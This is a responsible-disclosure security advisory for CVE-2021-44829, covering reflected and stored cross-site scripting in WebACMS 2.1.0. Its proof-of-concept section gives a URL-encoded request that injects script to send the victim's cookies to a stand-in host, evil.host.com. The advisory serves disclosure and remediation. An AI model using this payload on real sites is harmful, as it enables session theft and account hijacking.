WebACMS 2.1.0 Cross Site Scripting

`Advisory ID: TO-2021-001  
Product: WebACMS  
Vendor: AFI Solutions GmbH  
Tested Version: 2.1.0  
Fixed Version: -  
Vulnerability Type: Cross-Site Scripting (CWE-79)  
CVSSv2 Severity: AV:N/AC:L/Au:N/C:P/I:P/A:N (Score 6.4)  
CVSSv3 Severity: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (Score 6.1)  
Solution Status: Unfixed  
Manufacturer Notification: 2021-12-13  
Solution Date: 2022-01-17  
Public Disclosure: 2022-01-20  
CVE Reference: CVE-2021-44829  
Authors of Advisory: Patrick Hener & Siva Rajendran, Thinking Objects GmbH  
  
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Overview:  
  
The product "ACMS" of AFI Solutions GmbH [1] is a so called edi   
converter. For  
companies to be able to exchange arbitrary data it is common to use a edi  
converter to convert between data formats of the sender and the recipient.  
The product of AFI Solutions also incorporates a web interface, which is the  
subject of this advisory.  
  
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Vulnerability Details:  
  
The index page has a parameter "ID" which is used to navigate within the web  
application. It is not properly sanitized and will be rendered into the   
login  
form of the index page, as well. The vulnerable code will be shown from the  
following listing:  
  
<FORM name=thisForm METHOD=post action="/index.html?id=1" target="_top">  
<table class="logintable">  
<tr>  
<td width="110">Benutzername</td>  
[.. truncated ..]  
</form>  
  
The parameter can be chosen from the actual url in the browser and thus is  
unsanitized user controlled input. This makes the application vulnerable to  
reflected Cross-Site Scripting. This vulnerability also applies to basically  
all user controlled input after login. Also content returned by the database  
is not properly sanitized before presentation, as well. Therefore the app is  
also vulnerable to stored Cross-Site Scripting.  
  
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Proof of Concept (PoC):  
  
The following request will steal the applications insecure cookies using   
this  
vulnerablity.  
  
GET   
/index.html?id=%22%3E%3Cscript%3Edocument.location=%27http://evil.host.com  
/cookies?%27%2Bdocument.cookie;%3C/script%3E%3Cid=%22 HTTP/1.1  
Host: vulnerable.host.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101   
Firefox/94.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,  
image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: COMID=  
Upgrade-Insecure-Requests: 1  
  
This will render to the following html code and trigger in a victims   
browser.  
  
<FORM name=thisForm METHOD=post action="/index.html?id="><script>  
document.location='http://evil.host.com/cookies?'+document.cookie;</script>  
<id="" target="_top">  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
The user supplied data should be sanitized before using it to render a page.  
Also database retrieved content should be sanitized before presenting it   
to the  
browser again.  
  
The vendor states that this software component was only used by the vendors  
support and that it is not used actively anymore. The vendor recommends to  
deactivate this component.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
2021-12-10: Vulnerability discovered  
2021-12-13: Vulnerability reported to manufacturer  
2022-01-17: Solution provided by manufacturer  
2022-01-20: Public disclosure of vulnerability  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Vendor Website  
https://www.afi-solutions.com/  
[2] Thinking Objects Security Advisory  
https://blog.to.com/advisory-webacms-2-1-0-cross-site-scripting  
[3] Thinking Objects Responsible Disclosure Policy  
https://blog.to.com/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Patrick Hener and Siva Rajendran  
of Thinking Objects GmbH.  
  
E-Mail: [email protected]  
Public Keys: https://to.com/pgp-keys  
Key ID: 877756EA2CB50685  
Key Fingerprint: 2605 3D51 3FAA 3795 E116 95EC 8777 56EA 2CB5 0685  
  
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Disclaimer:  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
  
  
  
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